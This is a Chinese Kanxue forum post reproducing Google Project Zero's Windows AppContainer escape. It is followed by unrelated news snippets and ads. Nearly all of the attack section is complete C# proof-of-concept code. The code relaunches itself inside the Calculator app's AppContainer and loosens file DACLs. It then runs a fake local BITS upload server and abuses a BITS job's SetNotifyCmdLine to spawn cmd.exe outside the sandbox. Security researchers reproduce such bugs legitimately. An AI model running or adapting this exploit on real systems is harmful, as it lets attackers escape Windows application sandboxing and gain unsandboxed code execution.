关于谷歌P0的AppContainer逃逸的一种简单的复现


简要概述
简要分析




运行效果
IBackgroundCopyJob::SetNotifyCmdLine:
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline



相关代码
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class Program
{
static volatile ManualResetEvent me=new ManualResetEvent(false);
static bool IsInAppContainer()
{
using (var token = NtToken.OpenProcessToken())
{
return token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string dir)
{
UpdateSecurity(dir);
foreach (var file in Directory.GetFiles(dir))
{
UpdateSecurity(file);
}
}
static string cmdExe = @"C:\Windows\System32\cmd.exe";
static string mainExe = typeof(Program).Assembly.Location;
static bool RestartInAppContainer(string[] args)
{
string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
if (!File.Exists(FakeFile))
{
File.WriteAllText(FakeFile,"fake");
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List<Sid> caps = new List<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config = new Win32ProcessConfig
{
CreationFlags = CreateProcessFlags.NewConsole,
CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName = mainExe,
CommandLine = mainExe + " " + FakeFile
};
config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");
config.Capabilities.AddRange(caps);
using (var p = Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Headers["BITS-Error-Context"] = "";
context.Response.ContentLength64 = 0;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
//string ContentName = context.Request.Headers["Content-Name"].ToString();
string ContentRange = context.Request.Headers["Content-Range"].ToString();
List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length = ContentRangeList[1];
string range_start = crange[0];
string range_end = crange[1];
Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId = Guid.NewGuid();
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Protocol"] = supported_protocols;
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
}
private static void Process_BITS_POST(HttpListenerContext context)
{
try
{
if (context.Request.Headers["BITS-Packet-Type"] != null)
{
string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
switch (BITSPacketType)
{
case "CREATE-SESSION":
{
Process_CREATE_SESSION(context);
break;
}
case "FRAGMENT":
{
Process_FRAGMENT(context);
break;
}
case "CLOSE-SESSION":
{
Process_CLOSE_SESSION(context);
break;
}
case "CANCEL-SESSION":
{
Process_CANCEL_SESSION(context);
break;
}
case "PING":
{
Process_PING(context);
break;
}
default:
{
break;
}
}
context.Response.StatusCode = 200;
context.Response.Close();
}
}
catch (Exception e)
{
context.Response.StatusCode = 500;
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Close();
Console.WriteLine(e);
}
}
private static void StartBitsServer()
{
try
{
using (HttpListener listener = new HttpListener())
{
listener.Prefixes.Add("http://localhost:5686/");
listener.Start();
Console.Write("StartBitsServer"+Environment.NewLine);
me.Set();
while (true)
{
HttpListenerContext context = listener.GetContext();
Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
switch (context.Request.HttpMethod.ToUpper())
{
case "BITS_POST":
{
Process_BITS_POST(context);
break;
}
default:
{
break;
}
}
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
static void Main(string[] args)
{
try
{
if (IsInAppContainer())
{
RunBtsJob(args[0]);
}
else
{
Task.Factory.StartNew(() =>
{
StartBitsServer();
});
me.WaitOne();
RestartInAppContainer(args.ToArray());
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
private static void RunBtsJob(string file)
{
IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
Guid jobGuid;
IBackgroundCopyJob job1;
mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
job.SetNotifyCmdLine(cmdExe, cmdExe);
job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
job.AddFile("http://localhost:5686/fake.png", file);
job.Resume();
BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
{
Thread.Sleep(1000);
job.GetState(out stat);
}
job.Complete();
Console.Write("Success");
}
}
}
相关引用
相关项目
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
-
谷歌驳斥所谓的25亿名Gmail用户遭遇重大安全问题需要更改密码的说法
上周知名媒体福布斯发布文章声称谷歌警告 25 亿名 Gmail 用户应该修改密码,该消息被误认为谷歌出现重大安全问题例如数据库泄露,随后有众多科技网站转载该消息并放大恐慌。当时蓝点网看到文章后觉得事情
-
少量YouTube Premium家庭拼车用户被谷歌取消订阅 不知道是不是打击拼车的开始
YouTube Premium 家庭订阅允许用户每月支付 25 美元并在最多 5 名用户中共享订阅,这种订阅方式被很多网友用来低价开通会员,也就是家庭组拼车的方式。至少从 2023 年开始谷歌就要求家
-
SSL证书对百度和谷歌搜索引擎有用吗?
SSL证书作为保障网站HTTPS加密的基础工具,其与搜索引擎收录的关系逐渐成为讨论焦点。本文将从百度、谷歌两大搜索引擎的官方态度、技术原理及实际案例出发,详细分析SSL证书对收录的影响,并提供针对性的
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- Orion-Visor高颜值、现代化的智能运维&轻量堡垒机平台
- BuildAdmin:一键生成代码省3周开发时间,开箱即用爽到飞起!
- Siri 偷听隐私实锤了吗 苹果想用6个亿和用户和解
- SelectDB基于Apache Doris开发的新一代实时数据仓库
- GoldenDB中兴通讯旗下金篆信科研发的的关系型分布式数据库
- 传字节跳动 2023 年销售额超腾讯;OpenAI 推出聊天内容存档功能;Stability AI 宣布推出订阅服务|极客头条
- 过完年,企业应该怎么吸引安全人才?
- 【京麒】听说,网络安全江湖一武林秘籍突然现世?
- 诸子笔会2022 | 陈圣:企业远程办公安全所思所想
- 在这里,划水才是正事
- 2021 年 Java 开发者生产力报告
- 愿